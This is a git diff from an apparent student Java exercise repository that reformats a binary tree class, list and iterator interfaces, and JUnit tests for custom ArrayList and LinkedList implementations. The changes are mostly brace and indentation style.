diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
index e1d65c48bb..0f22f6ba80 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
@@ -3,11 +3,13 @@
 import org.junit.Before;
 import com.github.HarryHook.coding2017.basic.MyArrayList;
 
-public class ArrayListTest extends ListTest {
-
-    @Before
-    public void setUpArrayList() {
-	aList = new MyArrayList();
-    }
 
+public class ArrayListTest extends ListTest {
+	
+	@Before
+	public void setUpArrayList() 
+	{
+		aList = new MyArrayList();
+	}
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
index 9a53e9ad4b..b93790894f 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
@@ -5,103 +5,117 @@
  */
 package com.github.HarryHook.coding2017.basic;
 
-public class BinaryTreeNode {
-    private Integer data;
-    private BinaryTreeNode left;
-    private BinaryTreeNode right;
+public class BinaryTreeNode 
+{
+	private Integer data;      
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
 
-    // 中序遍历二叉树
-    public void inOrder(BinaryTreeNode node) {
-	if (node != null) {
-	    inOrder(node.left);
-	    System.out.print(" " + node.data);
-	    inOrder(node.right);
+	//中序遍历二叉树
+	public void inOrder(BinaryTreeNode node)
+	{
+		if(node != null)
+		{
+			inOrder(node.left);
+			System.out.print(" " + node.data);
+			inOrder(node.right);
+		}	
 	}
-    }
-
-    // 获取给节点的值
-    public Integer getData() {
-	return data;
-    }
-
-    // 给一个节点赋值
-    public void setData(Integer data) {
-	this.data = data;
-    }
-
-    // 获取左节点
-    public BinaryTreeNode getLeft() {
-	return left;
-    }
-
-    // 指定左节点
-    public void setLeft(BinaryTreeNode left) {
-	this.left = left;
-    }
-
-    // 获取右节点
-    public BinaryTreeNode getRight() {
-	return right;
-    }
-
-    // 指定右节点
-    public void setRight(BinaryTreeNode right) {
-	this.right = right;
-    }
-
-    // 在二叉树中插入一个节点，需要判断
-    public BinaryTreeNode insert(Integer obj) {
-	// 新增节点
-	BinaryTreeNode newNode = new BinaryTreeNode();
-	// 当前节点,保留根的值
-	BinaryTreeNode current = this;
-	// 上个节点
-	BinaryTreeNode parent = null;
-	// 如果根节点为空
-	if (current.data == null) {
-	    newNode.setData(obj);
-	    newNode.setLeft(null);
-	    newNode.setRight(null);
-	    return newNode;
-	} else {
-	    while (true) {
-		parent = current;
-		if (obj < current.data) {
-		    current = current.left;
-		    if (current == null) {
-			newNode.setData(obj);
-			newNode.setLeft(null);
-			newNode.setRight(null);
-			parent.left = newNode;
-			return newNode;
-		    }
-		} else {
-		    current = current.right;
-		    if (current == null) {
-			newNode.setData(obj);
-			newNode.setLeft(null);
-			newNode.setRight(null);
-			parent.right = newNode;
-			return newNode;
-		    }
-		}
-	    }
+	
+	//获取给节点的值
+	public Integer getData() 
+	{
+		return data;
 	}
-    }
-
-    public static void main(String[] args) {
-	BinaryTreeNode BTN = new BinaryTreeNode();
+	//给一个节点赋值
+	public void setData(Integer data)
+	{
+		this.data = data;
+	}
+	//获取左节点
+	public BinaryTreeNode getLeft() 
+	{
+		return left;
+	}
+	//指定左节点
+	public void setLeft(BinaryTreeNode left)
+	{
+		this.left = left;
+	}
+	
+	//获取右节点
+	public BinaryTreeNode getRight()
+	{
+		return right;
+	}
+	//指定右节点
+	public void setRight(BinaryTreeNode right)
+	{
+		this.right = right;
+	}	
 
-	BTN = BTN.insert(5);
-	System.out.print(BTN.getData() + " ");
-	System.out.print(BTN.insert(2).getData() + " ");
-	System.out.print(BTN.insert(1).getData() + " ");
-	System.out.print(BTN.insert(4).getData() + " ");
-	System.out.print(BTN.insert(6).getData() + " ");
-	System.out.print(BTN.insert(8).getData() + " ");
-	System.out.println("");
-	System.out.println("中序遍历二叉树： ");
-	BTN.inOrder(BTN);
-    }
+	//在二叉树中插入一个节点，需要判断
+	public BinaryTreeNode insert(Integer obj)
+	{
+		// 新增节点
+        BinaryTreeNode newNode = new BinaryTreeNode();
+        // 当前节点,保留根的值
+        BinaryTreeNode current = this;    
+        // 上个节点
+        BinaryTreeNode parent  = null;
+        // 如果根节点为空
+        if  (current.data == null) 
+        {	
+        	newNode.setData(obj);
+        	newNode.setLeft(null);
+        	newNode.setRight(null);
+            return newNode;
+        }else
+        {
+        	 while (true) 
+             {
+                 parent = current;
+                 if (obj < current.data) 
+                 {
+                     current = current.left;
+                     if (current == null) 
+                     {
+                    	 newNode.setData(obj);
+                     	 newNode.setLeft(null);
+                     	 newNode.setRight(null);
+                         parent.left = newNode;
+                         return newNode;
+                     }
+                 } else 
+                 {
+                     current = current.right;
+                     if (current == null) 
+                     {
+                    	 newNode.setData(obj);
+                     	 newNode.setLeft(null);
+                     	 newNode.setRight(null);
+                         parent.right = newNode;
+                         return newNode;
+                     }
+                 }
+             } 
+        }   
+	}
 
+	public static void main(String[] args)
+	{
+		BinaryTreeNode BTN = new BinaryTreeNode();
+		
+		BTN = BTN.insert(5);
+		System.out.print(BTN.getData() + " ");
+		System.out.print(BTN.insert(2).getData() + " ");
+		System.out.print(BTN.insert(1).getData() + " ");
+		System.out.print(BTN.insert(4).getData() + " ");
+		System.out.print(BTN.insert(6).getData() + " ");
+		System.out.print(BTN.insert(8).getData() + " ");
+		System.out.println("");
+		System.out.println("中序遍历二叉树： ");
+		BTN.inOrder(BTN);	
+	}
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
index bf21354c6e..60d1979713 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
@@ -7,31 +7,34 @@
 
 import com.github.HarryHook.coding2017.basic.BinaryTreeNode;
 
-public class BinaryTreeNodeTest {
-
-    BinaryTreeNode binaryTreeNode;
-
-    @Before
-    public void setUpBinaryTreeNode() {
-	binaryTreeNode = new BinaryTreeNode();
-    }
-
-    @Test
-    public void testBinaryTreeNodeFunctional() {
-	binaryTreeNode = binaryTreeNode.insert(4);
-	binaryTreeNode.insert(1);
-	binaryTreeNode.insert(3);
-	binaryTreeNode.insert(5);
-	binaryTreeNode.insert(2);
-
-	assertEquals(true, 4 == binaryTreeNode.getData());
-	assertEquals(true, 1 == binaryTreeNode.getLeft().getData());
-	assertEquals(true, 5 == binaryTreeNode.getRight().getData());
-	assertEquals(true, 3 == binaryTreeNode.getLeft().getRight().getData());
-	assertEquals(true, 2 == binaryTreeNode.getLeft().getRight().getLeft().getData());
-
-	// 节点为空 说明值没有插进去
-	binaryTreeNode.inOrder(binaryTreeNode);
-    }
+public class BinaryTreeNodeTest 
+{
+
+	BinaryTreeNode binaryTreeNode;
+
+	@Before
+	public void setUpBinaryTreeNode() 
+	{
+		binaryTreeNode = new BinaryTreeNode();
+	}
+
+	@Test
+	public void testBinaryTreeNodeFunctional() 
+	{
+		binaryTreeNode = binaryTreeNode.insert(4);
+		binaryTreeNode.insert(1);
+		binaryTreeNode.insert(3);
+		binaryTreeNode.insert(5);
+		binaryTreeNode.insert(2);
+		
+		assertEquals(true, 4 == binaryTreeNode.getData());
+		assertEquals(true, 1 == binaryTreeNode.getLeft().getData());
+		assertEquals(true, 5 == binaryTreeNode.getRight().getData());
+		assertEquals(true, 3 == binaryTreeNode.getLeft().getRight().getData());
+		assertEquals(true, 2 == binaryTreeNode.getLeft().getRight().getLeft().getData());
+
+		//节点为空  说明值没有插进去
+		binaryTreeNode.inOrder(binaryTreeNode);
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
index ca6169f998..3fae84a22f 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
@@ -1,7 +1,7 @@
 package com.github.HarryHook.coding2017.basic;
 
-public interface Iterator {
-    
-    public boolean hasNext();
-    public Object next();
+public interface Iterator
+{
+	public boolean hasNext();
+	public Object next();
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
index 31d64c6a84..1ab9ea06b2 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
@@ -4,331 +4,338 @@
 import org.junit.Before;
 import org.junit.Test;
 
-import com.github.HarryHook.coding2017.basic.MyLinkedList;
-
-public class LinkedListTest extends ListTest {
-
-    private MyLinkedList aLinkedList;
-
-    @Before
-    public void setUpLinkedList() {
-	aList = new MyLinkedList();
-	aLinkedList = new MyLinkedList();
-    }
-
-    @Test
-    public void testAddFirst() {
-	aLinkedList.addFirst(5);
-	assertEquals(5, aLinkedList.get(0));
-
-	aLinkedList.addFirst(6);
-	assertEquals(6, aLinkedList.get(0));
-	assertEquals(5, aLinkedList.get(1));
-	assertEquals(2, aLinkedList.size());
-    }
-
-    @Test
-    public void testAddLast() {
-	aLinkedList.addLast("hello");
-	assertEquals("hello", aLinkedList.get(0));
-
-	aLinkedList.addLast("world");
-	assertEquals("hello", aLinkedList.get(0));
-	assertEquals("world", aLinkedList.get(1));
-	assertEquals(2, aLinkedList.size());
-    }
 
-    @Test
-    public void testRemoveFirst() {
-	aLinkedList.addLast("hello");
-	aLinkedList.addLast("world");
-
-	aLinkedList.removeFirst();
-	assertEquals("world", aLinkedList.get(0));
-	assertEquals(1, aLinkedList.size());
-
-	aLinkedList.removeFirst();
-	assertEquals(0, aLinkedList.size());
-    }
-
-    @Test
-    public void testRemoveLast() {
-	aLinkedList.addFirst("world");
-	aLinkedList.addFirst("hello");
-
-	aLinkedList.removeLast();
-	assertEquals("hello", aLinkedList.get(0));
-	assertEquals(1, aLinkedList.size());
+import com.github.HarryHook.coding2017.basic.MyLinkedList;
 
-	aLinkedList.removeLast();
-	assertEquals(0, aLinkedList.size());
-    }
+public class LinkedListTest extends ListTest{
 
-    @Test
-    public void testLinkedListFunctional() {
-	for (int i = 1; i < 4; i++) {
-	    aLinkedList.add(i); // [1,2,3]
+	private MyLinkedList aLinkedList;
+	
+	@Before
+	public void setUpLinkedList() {
+		aList = new MyLinkedList();
+		aLinkedList = new MyLinkedList();
 	}
-	aLinkedList.remove(1); // [1,3]
-
-	aLinkedList.add(1, 0); // [1,0,3]
-	for (int i = 4; i < 6; i++) {
-	    aLinkedList.addFirst(i); // [5, 4, 1, 0, 3]
+	
+	@Test
+	public void testAddFirst() {
+		aLinkedList.addFirst(5);
+		assertEquals(5, aLinkedList.get(0));
+		
+		aLinkedList.addFirst(6);
+		assertEquals(6, aLinkedList.get(0));
+		assertEquals(5, aLinkedList.get(1));
+		assertEquals(2, aLinkedList.size());
 	}
-	assertEquals(5, aLinkedList.size());
-	assertEquals(5, aLinkedList.get(0));
-	assertEquals(1, aLinkedList.get(2));
-	assertEquals(0, aLinkedList.get(3));
-
-	aLinkedList.remove(3); // [5, 4, 1, 3]
-	assertEquals(3, aLinkedList.get(aLinkedList.size() - 1));
-	aLinkedList.removeLast(); // [5, 4, 1]
-	assertEquals(1, aLinkedList.get(aLinkedList.size() - 1));
-	aLinkedList.removeFirst(); // [4,1]
-
-	assertEquals(4, aLinkedList.get(0));
-	assertEquals(1, aLinkedList.get(1));
-	assertEquals(2, aLinkedList.size());
-    }
-
-    @Test
-    public void testReverse() {
-	// 测试当aLinkedList为空时的情况
-	aLinkedList.reverse();
-	assertEquals(0, aLinkedList.size());
-
-	// 测试当aLinkedList长度为1时的情况
-	aLinkedList.add(4);
-	aLinkedList.reverse();
-	assertEquals(1, aLinkedList.size());
-	assertEquals(4, aLinkedList.get(0));
-
-	for (int i = 1; i < 4; i++) {
-	    aLinkedList.add(i); // [4,1,2,3]
+	
+	@Test
+	public void testAddLast() {
+		aLinkedList.addLast("hello");
+		assertEquals("hello", aLinkedList.get(0));
+		
+		aLinkedList.addLast("world");
+		assertEquals("hello", aLinkedList.get(0));
+		assertEquals("world", aLinkedList.get(1));
+		assertEquals(2, aLinkedList.size());
 	}
-
-	aLinkedList.reverse();
-	assertEquals(4, aLinkedList.size());
-	assertEquals(3, aLinkedList.get(0));
-	assertEquals(2, aLinkedList.get(1));
-	assertEquals(1, aLinkedList.get(2));
-	assertEquals(4, aLinkedList.get(3));
-
-    }
-
-    /**
-     * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
-     * ,删除以后的值为7,8,10
-     * 
-     */
-    @Test
-    public void testRemoveFirstHalf() {
-	aLinkedList.removeFirstHalf();
-	assertEquals(0, aLinkedList.size());
-
-	aLinkedList.add(2);
-	aLinkedList.add(5);
-	aLinkedList.add(7);
-	aLinkedList.add(8); // [2,5,7,8]
-
-	aLinkedList.removeFirstHalf(); // [7,8]
-	assertEquals(2, aLinkedList.size());
-	assertEquals(7, aLinkedList.get(0));
-	assertEquals(8, aLinkedList.get(1));
-    }
-
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     * 
-     * @param i
-     * @param length
-     */
-    @Test
-    public void testRemoveIntInt() {
-
-	for (int i = 0; i < 4; i++) {
-	    aLinkedList.add(i); // [0,1,2,3]
+	
+	@Test
+	public void testRemoveFirst() {
+		aLinkedList.addLast("hello");
+		aLinkedList.addLast("world");
+		
+		aLinkedList.removeFirst();
+		assertEquals("world", aLinkedList.get(0));
+		assertEquals(1, aLinkedList.size());
+		
+		aLinkedList.removeFirst();
+		assertEquals(0, aLinkedList.size());
 	}
-
-	aLinkedList.remove(0, 2); // [2,3]
-	assertEquals(2, aLinkedList.get(0));
-	assertEquals(3, aLinkedList.get(1));
-	assertEquals(2, aLinkedList.size());
-
-	aLinkedList.remove(1, 0);
-	aLinkedList.remove(0, 0);
-	assertEquals(2, aLinkedList.size());
-
-	aLinkedList.remove(1, 1); // [2]
-	assertEquals(1, aLinkedList.size());
-	assertEquals(2, aLinkedList.get(0));
-
-	aLinkedList.remove(0, 1); // []
-	assertEquals(0, aLinkedList.size());
-
-	expectedEx.expect(Exception.class);
-	aLinkedList.remove(1, 3);
-    }
-
-    /**
-     * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
-     * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     * 
-     * @param list
-     */
-    @Test
-    public void testGetElements() {
-	for (int i = 0; i < 4; i++) {
-	    aLinkedList.add(i * i); // [0,1,4,9]
+	
+	@Test
+	public void testRemoveLast() {
+		aLinkedList.addFirst("world");
+		aLinkedList.addFirst("hello");
+		
+		aLinkedList.removeLast();
+		assertEquals("hello", aLinkedList.get(0));
+		assertEquals(1, aLinkedList.size());
+		
+		aLinkedList.removeLast();
+		assertEquals(0, aLinkedList.size());
 	}
-
-	MyLinkedList bLinkedList = new MyLinkedList();
-	int[] z1 = aLinkedList.getElements(bLinkedList); // []
-	assertArrayEquals(z1, new int[0]);
-
-	bLinkedList.add(1);
-	bLinkedList.add(3); // [1, 3]
-
-	z1 = aLinkedList.getElements(bLinkedList); // [1, 9]
-	assertArrayEquals(new int[] { 1, 9 }, z1);
-
-	bLinkedList.add(1, 2); // bLinkedList = [1, 2, 3]
-	z1 = aLinkedList.getElements(bLinkedList); // [1, 4, 9]
-	assertArrayEquals(new int[] { 1, 4, 9 }, z1);
-
-	bLinkedList.add(0, 0); // bLinkedList = [0, 1, 2, 3]
-	z1 = aLinkedList.getElements(bLinkedList); // [0, 1, 4, 9]
-	assertArrayEquals(new int[] { 0, 1, 4, 9 }, z1);
-
-	// aLinkedList不应该变化
-	assertEquals(4, aLinkedList.size());
-	for (int i = 0; i < 4; i++) {
-	    assertEquals(i * i, aLinkedList.get(i)); // [0,1,4,9]
+	
+	@Test
+	public void testLinkedListFunctional() {
+		for (int i=1; i<4; i++) {
+			aLinkedList.add(i);  // [1,2,3]
+		}
+		aLinkedList.remove(1);  // [1,3]
+		
+		aLinkedList.add(1, 0);  // [1,0,3]
+		for (int i=4; i<6; i++) {
+			aLinkedList.addFirst(i);  // [5, 4, 1, 0, 3]
+		}
+		assertEquals(5, aLinkedList.size());
+		assertEquals(5, aLinkedList.get(0));
+		assertEquals(1, aLinkedList.get(2));
+		assertEquals(0, aLinkedList.get(3));
+		
+		aLinkedList.remove(3);  // [5, 4, 1, 3]
+		assertEquals(3, aLinkedList.get(aLinkedList.size()-1));
+		aLinkedList.removeLast();  // [5, 4, 1]
+		assertEquals(1, aLinkedList.get(aLinkedList.size()-1));
+		aLinkedList.removeFirst();   // [4,1]
+		
+		assertEquals(4, aLinkedList.get(0));
+		assertEquals(1, aLinkedList.get(1));
+		assertEquals(2, aLinkedList.size());
 	}
-
-	// Exception
-	bLinkedList.add(5); // bLinkedList = [0, 1, 2, 3, 5]
-	expectedEx.expect(Exception.class);
-	z1 = aLinkedList.getElements(bLinkedList);
-    }
-
-    @Test
-    public void TestSubtract() {
-	// 传进的list为null,什么都不干
-	MyLinkedList list = null;
-	for (int i = 0; i < 6; i++) {
-	    aLinkedList.add(i); // [0,1,2,3,4,5]
+	
+	@Test
+	public void testReverse() {
+		// 测试当aLinkedList为空时的情况
+		aLinkedList.reverse();
+		assertEquals(0, aLinkedList.size());
+		
+		// 测试当aLinkedList长度为1时的情况
+		aLinkedList.add(4);
+		aLinkedList.reverse();
+		assertEquals(1, aLinkedList.size());
+		assertEquals(4, aLinkedList.get(0));
+		 
+		for (int i=1; i<4; i++) 
+		{
+			aLinkedList.add(i);  // [4,1,2,3]
+		}
+		
+		aLinkedList.reverse();
+		assertEquals(4, aLinkedList.size());
+		assertEquals(3, aLinkedList.get(0));
+		assertEquals(2, aLinkedList.get(1));
+		assertEquals(1, aLinkedList.get(2));
+		assertEquals(4, aLinkedList.get(3));
+		
 	}
-	aLinkedList.subtract(list);
-	assertEquals(6, aLinkedList.size());
-
-	// 传进的list为空
-	list = new MyLinkedList();
-	aLinkedList.subtract(list);
-	assertEquals(6, aLinkedList.size());
-
-	aLinkedList.add(1, 1); // [0,1,1,2,3,4,5]
-	aLinkedList.add(4, 3); // [0,1, 1, 2, 3, 3, 4, 5]
-
-	// list添加元素[0, 1, 3, 7]
-	list.add(0);
-	list.add(1);
-	list.add(3);
-	list.add(7);
-
-	aLinkedList.subtract(list); // [ 2, 4, 5]
-
-	assertEquals(2, aLinkedList.get(0));
-	assertEquals(4, aLinkedList.get(1));
-	assertEquals(5, aLinkedList.get(2));
-	assertEquals(3, aLinkedList.size());
-    }
-
-    @Test
-    public void testRemoveDuplicateValues() {
-	aLinkedList.removeDuplicateValues();
-	assertEquals(0, aLinkedList.size());
-
-	aLinkedList.add(3);
-	aLinkedList.add(3);
-	aLinkedList.add(4);
-	aLinkedList.add(4);
-	aLinkedList.add(5);
-	aLinkedList.add(6);
-	aLinkedList.add(6); // [3, 3, 4, 4, 5, 6, 6]
 
-	aLinkedList.removeDuplicateValues(); // [3, 4, 5, 6]
-
-	assertEquals(3, aLinkedList.get(0));
-	assertEquals(4, aLinkedList.get(1));
-	assertEquals(5, aLinkedList.get(2));
-	assertEquals(6, aLinkedList.get(3));
-	assertEquals(4, aLinkedList.size());
-
-    }
-
-    @Test
-    public void testRemoveRange() {
-	for (int i = 0; i < 6; i++) {
-	    aLinkedList.add(i); // [0, 1, 2, 3, 4, 5] //考虑重复元素
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	@Test
+	public void testRemoveFirstHalf() {
+		aLinkedList.removeFirstHalf();
+		assertEquals(0, aLinkedList.size());
+		
+		aLinkedList.add(2);
+		aLinkedList.add(5);
+		aLinkedList.add(7);
+		aLinkedList.add(8);  // [2,5,7,8]
+		
+		aLinkedList.removeFirstHalf();  // [7,8]
+		assertEquals(2, aLinkedList.size());
+		assertEquals(7, aLinkedList.get(0));
+		assertEquals(8, aLinkedList.get(1));
 	}
-	aLinkedList.addFirst(0); // [0, 0, 1, 2, 3, 4, 5]
-	aLinkedList.add(3, 2); // [0, 0, 1, 2, 2, 3, 4, 5]
-
-	aLinkedList.removeRange(1, 4); // 大于1小于4 [0, 0, 1, 4, 5]
 
-	assertEquals(0, aLinkedList.get(0));
-	assertEquals(0, aLinkedList.get(1));
-	assertEquals(1, aLinkedList.get(2));
-	assertEquals(4, aLinkedList.get(3));
-	assertEquals(5, aLinkedList.get(4));
-	assertEquals(5, aLinkedList.size());
-
-	// 若出现 min >= max的情况，什么都不做
-	aLinkedList.removeRange(4, 1);
-	assertEquals(0, aLinkedList.get(0));
-	assertEquals(0, aLinkedList.get(1));
-	assertEquals(1, aLinkedList.get(2));
-	assertEquals(4, aLinkedList.get(3));
-	assertEquals(5, aLinkedList.get(4));
-	assertEquals(5, aLinkedList.size());
-
-	// 将整个链表中的元素删除
-	aLinkedList.removeRange(-1, 8);
-	assertEquals(0, aLinkedList.size());
-    }
-
-    @Test
-    public void testIntersection() {
-	for (int i = 0; i < 6; i++) {
-	    aLinkedList.add(i);
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	@Test
+	public void testRemoveIntInt() {
+		
+		for (int i=0; i<4; i++) {
+			aLinkedList.add(i);  // [0,1,2,3]
+		}
+		
+		aLinkedList.remove(0, 2);  // [2,3]
+		assertEquals(2, aLinkedList.get(0));
+		assertEquals(3, aLinkedList.get(1));
+		assertEquals(2, aLinkedList.size());
+		
+		aLinkedList.remove(1, 0);
+		aLinkedList.remove(0, 0);
+		assertEquals(2, aLinkedList.size());
+		
+		aLinkedList.remove(1, 1);  // [2]
+		assertEquals(1, aLinkedList.size());
+		assertEquals(2, aLinkedList.get(0));
+		
+		aLinkedList.remove(0, 1);  // []
+		assertEquals(0, aLinkedList.size());
+		
+		expectedEx.expect(Exception.class);
+		aLinkedList.remove(1, 3);
 	}
-	aLinkedList.add(6);
-	aLinkedList.add(7); // [0， 1, 2, 3, 4, 5, 6, 7]
-	// list为null
-	MyLinkedList list = null;
-	MyLinkedList newList1 = aLinkedList.intersection(list);
-	assertNull(newList1);
-
-	// list为空链表
-	list = new MyLinkedList();
-	MyLinkedList newList2 = aLinkedList.intersection(list);
-	assertEquals(0, newList2.size());
-
-	list.add(0);
-	list.add(3);
-	list.add(4);
-	list.add(6);
-	list.add(7); // [0, 3, 4, 6, 7]
-	MyLinkedList newList3 = aLinkedList.intersection(list);
-
-	assertEquals(0, newList3.get(0));
-	assertEquals(3, newList3.get(1));
-	assertEquals(4, newList3.get(2));
-	assertEquals(6, newList3.get(3));
-	assertEquals(7, newList3.get(4));
-	assertEquals(5, newList3.size());
-    }
 
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	@Test
+	public void testGetElements() {
+		for (int i=0; i<4; i++) {
+			aLinkedList.add(i * i);  // [0,1,4,9]
+		}
+		
+		MyLinkedList bLinkedList = new MyLinkedList();
+		int[] z1 = aLinkedList.getElements(bLinkedList); // []
+		assertArrayEquals( z1, new int[0]);
+		
+		bLinkedList.add(1);
+		bLinkedList.add(3);  // [1, 3]
+		
+		z1 = aLinkedList.getElements(bLinkedList);  // [1, 9]
+		assertArrayEquals(new int[] {1,9}, z1);
+		
+		bLinkedList.add(1, 2);  // bLinkedList = [1, 2, 3]
+		z1 = aLinkedList.getElements(bLinkedList);  // [1, 4, 9]
+		assertArrayEquals(new int[] {1,4,9}, z1);
+		
+		bLinkedList.add(0, 0);  // bLinkedList = [0, 1, 2, 3]
+		z1 = aLinkedList.getElements(bLinkedList);  // [0, 1, 4, 9]
+		assertArrayEquals(new int[] {0,1,4,9}, z1);
+		
+		// aLinkedList不应该变化
+		assertEquals(4, aLinkedList.size());
+		for (int i=0; i<4; i++) {
+			assertEquals(i*i, aLinkedList.get(i));  // [0,1,4,9]
+		}
+		
+		// Exception
+		bLinkedList.add(5);  // bLinkedList = [0, 1, 2, 3, 5]
+		expectedEx.expect(Exception.class);
+		z1 = aLinkedList.getElements(bLinkedList); 
+	}
+	
+	@Test
+	public  void TestSubtract()
+	{
+		//传进的list为null,什么都不干
+		MyLinkedList list = null;
+		for (int i=0; i<6; i++) 
+		{
+			aLinkedList.add(i);  //[0,1,2,3,4,5]
+		}
+		aLinkedList.subtract(list);
+		assertEquals(6, aLinkedList.size());
+		
+		//传进的list为空
+		list = new MyLinkedList();
+		aLinkedList.subtract(list);
+		assertEquals(6, aLinkedList.size());
+		
+		aLinkedList.add(1, 1);	//[0,1,1,2,3,4,5]
+		aLinkedList.add(4, 3);  //[0,1, 1, 2, 3, 3, 4, 5]
+		
+		// list添加元素[0, 1, 3, 7]
+		list.add(0);
+		list.add(1);
+		list.add(3);
+		list.add(7);
+		
+		aLinkedList.subtract(list); //[ 2, 4, 5]
+		
+		assertEquals(2, aLinkedList.get(0));
+		assertEquals(4, aLinkedList.get(1));
+		assertEquals(5, aLinkedList.get(2));
+		assertEquals(3, aLinkedList.size());
+	}
+	@Test
+	public  void testRemoveDuplicateValues()
+	{
+		aLinkedList.removeDuplicateValues();
+		assertEquals(0, aLinkedList.size());
+		
+		aLinkedList.add(3);
+		aLinkedList.add(3);
+		aLinkedList.add(4);
+		aLinkedList.add(4);
+		aLinkedList.add(5);
+		aLinkedList.add(6);
+		aLinkedList.add(6);	//[3, 3, 4, 4, 5, 6, 6]
+		
+		aLinkedList.removeDuplicateValues();	//[3, 4, 5, 6]
+		
+		assertEquals(3, aLinkedList.get(0));
+		assertEquals(4, aLinkedList.get(1));
+		assertEquals(5, aLinkedList.get(2));
+		assertEquals(6, aLinkedList.get(3));
+		assertEquals(4, aLinkedList.size());
+		
+	}
+	@Test
+	public void testRemoveRange()
+	{
+		for (int i=0; i<6; i++) 
+		{
+			aLinkedList.add(i);  // [0, 1, 2, 3, 4, 5] //考虑重复元素
+		}
+		aLinkedList.addFirst(0); // [0, 0, 1, 2, 3, 4, 5] 
+		aLinkedList.add(3, 2);	 // [0, 0, 1, 2, 2, 3, 4, 5] 
+		
+		aLinkedList.removeRange(1, 4);  // 大于1小于4  [0, 0, 1, 4, 5]
+		
+		assertEquals(0, aLinkedList.get(0));
+		assertEquals(0, aLinkedList.get(1));
+		assertEquals(1, aLinkedList.get(2));
+		assertEquals(4, aLinkedList.get(3));
+		assertEquals(5, aLinkedList.get(4));
+		assertEquals(5, aLinkedList.size());
+		
+		//若出现 min >= max的情况，什么都不做
+		aLinkedList.removeRange(4, 1);
+		assertEquals(0, aLinkedList.get(0));
+		assertEquals(0, aLinkedList.get(1));
+		assertEquals(1, aLinkedList.get(2));
+		assertEquals(4, aLinkedList.get(3));
+		assertEquals(5, aLinkedList.get(4));
+		assertEquals(5, aLinkedList.size());
+		
+		//将整个链表中的元素删除
+		aLinkedList.removeRange(-1, 8);
+		assertEquals(0, aLinkedList.size());
+	}
+	@Test
+	public void testIntersection()
+	{
+		for (int i=0; i<6; i++) 
+		{
+			aLinkedList.add(i);  
+		}
+		aLinkedList.add(6);
+		aLinkedList.add(7); // [0， 1, 2, 3, 4, 5, 6, 7] 
+		//list为null
+		MyLinkedList list = null;
+		MyLinkedList newList1 = aLinkedList.intersection(list);
+		assertNull(newList1);
+		
+		//list为空链表
+		list = new MyLinkedList();
+		MyLinkedList newList2 = aLinkedList.intersection(list);
+		assertEquals(0, newList2.size());
+		
+		list.add(0); 
+		list.add(3);
+		list.add(4);
+		list.add(6);
+		list.add(7);	 // [0, 3, 4, 6, 7]
+		MyLinkedList newList3 = aLinkedList.intersection(list);
+		
+		assertEquals(0, newList3.get(0));
+		assertEquals(3, newList3.get(1));
+		assertEquals(4, newList3.get(2));
+		assertEquals(6, newList3.get(3));
+		assertEquals(7, newList3.get(4));
+		assertEquals(5, newList3.size());
+	}
+	
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
index e73700ec53..f2299e8e83 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/List.java
@@ -1,16 +1,14 @@
 package com.github.HarryHook.coding2017.basic;
 
-public interface List {
 
-    public void add(Object o);
-
-    public void add(int index, Object o);
-
-    public Object get(int index);
-
-    public Object remove(int index);
-
-    public int size();
-
-    public Iterator iterator();
+public interface List 
+{
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+	
+	public Iterator iterator();
 }
+
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
index 113b32f4d2..92f84b687c 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
